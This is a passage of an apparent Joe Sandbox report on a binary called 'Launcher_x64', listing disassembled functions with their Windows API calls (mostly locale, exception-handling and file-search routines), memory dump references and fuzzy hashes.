Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e57decdd37a52e6218d956aa21e20c76ba66e0e136436aeee860d309e6587f8a
Instruction ID: 16eda18aced5fe7286a0310bb74890f4cfac05d7844bb2afde14c5d01666f21f
Opcode Fuzzy Hash: e57decdd37a52e6218d956aa21e20c76ba66e0e136436aeee860d309e6587f8a
Instruction Fuzzy Hash: 6421CD62702120AADB348F54F941A97B3A7EF74B68B5E8429E549D7200EF31DD40F770

Function 00D283DF Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00D284E7
IsValidCodePage.KERNEL32(00000000), ref: 00D28525
IsValidLocale.KERNEL32(?,00000001), ref: 00D28538
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00D28580
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00D2859B

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: d85e14ccc02a1d04b3671f13216dcf2599b42aeb8d0d96dfc3b3ef886d002ae0
Instruction ID: b73c5bf5b4ac5ed6c15cc3fada67feb6a38e569b31b43dc761ded1df80da9332
Opcode Fuzzy Hash: d85e14ccc02a1d04b3671f13216dcf2599b42aeb8d0d96dfc3b3ef886d002ae0
Instruction Fuzzy Hash: 70518371901226AFDB20EFA4EC41ABE77B9FF64708F084469E910E7150DB74DA41DB71

Function 00D21250 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e210328f8d4f359fac80214519e11883391db29b0651a67b32ed7d6b3dc8e133
Instruction ID: 93956f05759d0228050c6224d6f0c7fefcf0d186ad30724eb730d88210f7296c
Opcode Fuzzy Hash: e210328f8d4f359fac80214519e11883391db29b0651a67b32ed7d6b3dc8e133
Instruction Fuzzy Hash: 75022E75E012299FDF14CFA9D8806ADBBF1FF68318F288269D515E7341D731A941CBA0

Function 00D29126 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00D29216
FindNextFileW.KERNEL32(00000000,?), ref: 00D2930A
FindClose.KERNEL32(00000000), ref: 00D29349
FindClose.KERNEL32(00000000), ref: 00D2937C

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: b5e4fbd77f773d1a72858af2971487797b3acee2252fda4b716ea46fbb8c914c
Instruction ID: 5dcd67216c9ded77c8a77d96c9f4446fe3e92ab7aa58dd3b0a890a4f3e6c26df
Opcode Fuzzy Hash: b5e4fbd77f773d1a72858af2971487797b3acee2252fda4b716ea46fbb8c914c
Instruction Fuzzy Hash: D071E671804279AFDF21EF24ACA9AEAF7B9EF15308F1841D9E04D97251DA305E858F34

Function 00D16528 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00D16534
IsDebuggerPresent.KERNEL32 ref: 00D16600
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D16619
UnhandledExceptionFilter.KERNEL32(?), ref: 00D16623

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6d004db1e1d530777ec3803eb55d07cc919aa30f5de151e9104138384e85f543
Instruction ID: 76953300afc11c3ee55e77bd50c8f9b1db3081ab984a1f2dfd0fa11dce8a27b9
Opcode Fuzzy Hash: 6d004db1e1d530777ec3803eb55d07cc919aa30f5de151e9104138384e85f543
Instruction Fuzzy Hash: AC31F675D05318ABDB20DFA4E9497CDBBB8BF08304F1041EAE40CAB250EB709A85CF65

Function 00D17110 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00D17122
GetCurrentThreadId.KERNEL32 ref: 00D17131
GetCurrentProcessId.KERNEL32 ref: 00D1713A
QueryPerformanceCounter.KERNEL32(?), ref: 00D17147

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c27f80bb6f2cab2fd8ab1a092a2bf70921794c19c142f66447fd2c8101773303
Instruction ID: 3c949e7e007648ac5ef534950dae326d8d32433d89021921dba2622549929ba6
Opcode Fuzzy Hash: c27f80bb6f2cab2fd8ab1a092a2bf70921794c19c142f66447fd2c8101773303
Instruction Fuzzy Hash: 9DF05F74D1120DEBCB00DBB4DA8999EBBF5EF1C200B914996A412E7210E630AB44DF61

Function 00D286CB Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D2871F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D28769
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D2882F

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: cd226d64f9cb752375b2d33e86bb6672e93f4dd8d13ef944eeff277fb9135f56
Instruction ID: 52ab9fcf0452e0b6894172f15efe28a469e643012b7007287ad91d160e4e08c1
Opcode Fuzzy Hash: cd226d64f9cb752375b2d33e86bb6672e93f4dd8d13ef944eeff277fb9135f56
Instruction Fuzzy Hash: 7E61B7715012279FEB289F24EC82B7AB7A9EF24308F584079ED05C6181EB74DD91EB70

Function 00D1F2B0 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00D1F3A8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00D1F3B2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00D1F3BF

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6f36b9d05ecfffedc7472f79a0a87d3026b484acb87f8cb4ae07ad8d8281ab1a
Instruction ID: 8ce1be63655f99d1bacbc62888445281a7c2f5e5949872843ca7a4beb1815a87
Opcode Fuzzy Hash: 6f36b9d05ecfffedc7472f79a0a87d3026b484acb87f8cb4ae07ad8d8281ab1a
Instruction Fuzzy Hash: F531A475911318ABCB21DF64E8897DDBBB8FF08310F5041EAE41CA7251EB749B858F64

Function 00D2CD97 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00D2CCF2,?,?,00000008,?,?,00D3318B,00000000), ref: 00D2CFC4

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 2992b74c17b7204ea7d4e172cd411fdb601183b7fd026391a07bcea60435a4c2
Instruction ID: 84d916510f747a357a084922619cb105df35caeae1c0ef8f745696d4e34fc7cd
Opcode Fuzzy Hash: 2992b74c17b7204ea7d4e172cd411fdb601183b7fd026391a07bcea60435a4c2
Instruction Fuzzy Hash: A3B16B311206189FD714CF28D58AB687BE1FF55368F298658E8D9CF2A1C335DD82CB50

Function 00D16194 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00D161AA

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 53ebe6c7dfbe22c23cc4de559845853e30607d2c3e073ff4ef2cc183f04d5798
Instruction ID: edb252e968e911e30e71130b4409ba25fc22c63ab6ecbb49bb7bea1c5c566bf4
Opcode Fuzzy Hash: 53ebe6c7dfbe22c23cc4de559845853e30607d2c3e073ff4ef2cc183f04d5798
Instruction Fuzzy Hash: CFA16EB9D057059FDB18CF58E8916A9BBF1FB49328F28812AD511E7360D734A880CFA1

Function 00D1C040 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 00D1C1B0

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8ae0f78073da5d7b7f3e754ce0f03405a8c0c10643814b826e17a75fc474c9c4
Instruction ID: 8490eef3900030a18e7fd1fd82970c9ccf3bc4ffaf9751d1f6d502a5d61a0521
Opcode Fuzzy Hash: 8ae0f78073da5d7b7f3e754ce0f03405a8c0c10643814b826e17a75fc474c9c4
Instruction Fuzzy Hash: 4AC1D1749A0706BFCB24CFA8E4846FAB7B1EF09310F186619D49297652CB31E9C5CB71

Function 00D2897D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D289D1

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2c86ac0f65adcfe469dc823ba5626e541995c9291179e98c65dff5bbb9a177cd
Instruction ID: 39a45f6103afa1de8b1c416ec6c79e68a7a88d6f47228474a63d90642c9e555a
Opcode Fuzzy Hash: 2c86ac0f65adcfe469dc823ba5626e541995c9291179e98c65dff5bbb9a177cd
Instruction Fuzzy Hash: 7321B331656226ABDB289F24EC41ABA73A8EF64318F14007AFD01C6241EF74ED40AA70

Function 00D1AC41 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 00D1ADC5

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: a5c725318475a9c98142dc01643ef39430c79d5b6df5239ec4a0708b8c8bcdc3
Instruction ID: 1180d8cfce4a77957a1b2df9c86e0413b8e8ab42e9004f12821f272b4dc31e2c
Opcode Fuzzy Hash: a5c725318475a9c98142dc01643ef39430c79d5b6df5239ec4a0708b8c8bcdc3
Instruction Fuzzy Hash: 9EB1E770A02A06ABCB258E6CB5556FE77B1EF01310F18461EE49297A91DF31DAC1CB73

Function 00D28630 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

EnumSystemLocalesW.KERNEL32(00D286CB,00000001,00000000,?,-00000050,?,00D284BB,00000000,-00000002,00000000,?,00000055,?), ref: 00D286A2

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: bcc59ff4c6c076a7e753b1014dbfb1d4d5d15ba9d66be832d89f3f9fc4b5ecd4
Instruction ID: 58b9851437ee5793eed15c2b9eda83a05bd97bf80db55e700bd6cb113e322420
Opcode Fuzzy Hash: bcc59ff4c6c076a7e753b1014dbfb1d4d5d15ba9d66be832d89f3f9fc4b5ecd4
Instruction Fuzzy Hash: E011293A2007115FDB18AF38E89167AB791FF9031EB19442CE94787640E775B942D760

Function 00D28A9D Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D28AF1

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 242bc8f3d887b010f4a77dd187ab9a1ef617ff80fe53717e3a6162b4465e2b48
Instruction ID: 8dc65013347198b9d0b9e105a4271a814c231ed96522c743c32e88f32ce0e99e
Opcode Fuzzy Hash: 242bc8f3d887b010f4a77dd187ab9a1ef617ff80fe53717e3a6162b4465e2b48
Instruction Fuzzy Hash: 86110A726111169BDB14AF24EC02ABA73ECDF54318B14407AE505C7241DF38ED01D770

Function 00D28C4A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00D288E7,00000000,00000000,?), ref: 00D28C76

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 5657b4c18ab2dd056ed1a18688f5cf1129b4e8d4e9b720f5353792c3cacdbdc6
Instruction ID: 2fdd76c6b6e0dc5f04a8b485f2ba6635297b0630ab6cb20f0991cf022d861d83
Opcode Fuzzy Hash: 5657b4c18ab2dd056ed1a18688f5cf1129b4e8d4e9b720f5353792c3cacdbdc6
Instruction Fuzzy Hash: F301DB326065226BDF2C5724A8057BA3754DB50359F194429AC46A3280EF74FE51F5B0

Function 00D2891E Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

EnumSystemLocalesW.KERNEL32(00D2897D,00000001,?,?,-00000050,?,00D28483,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00D28968

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
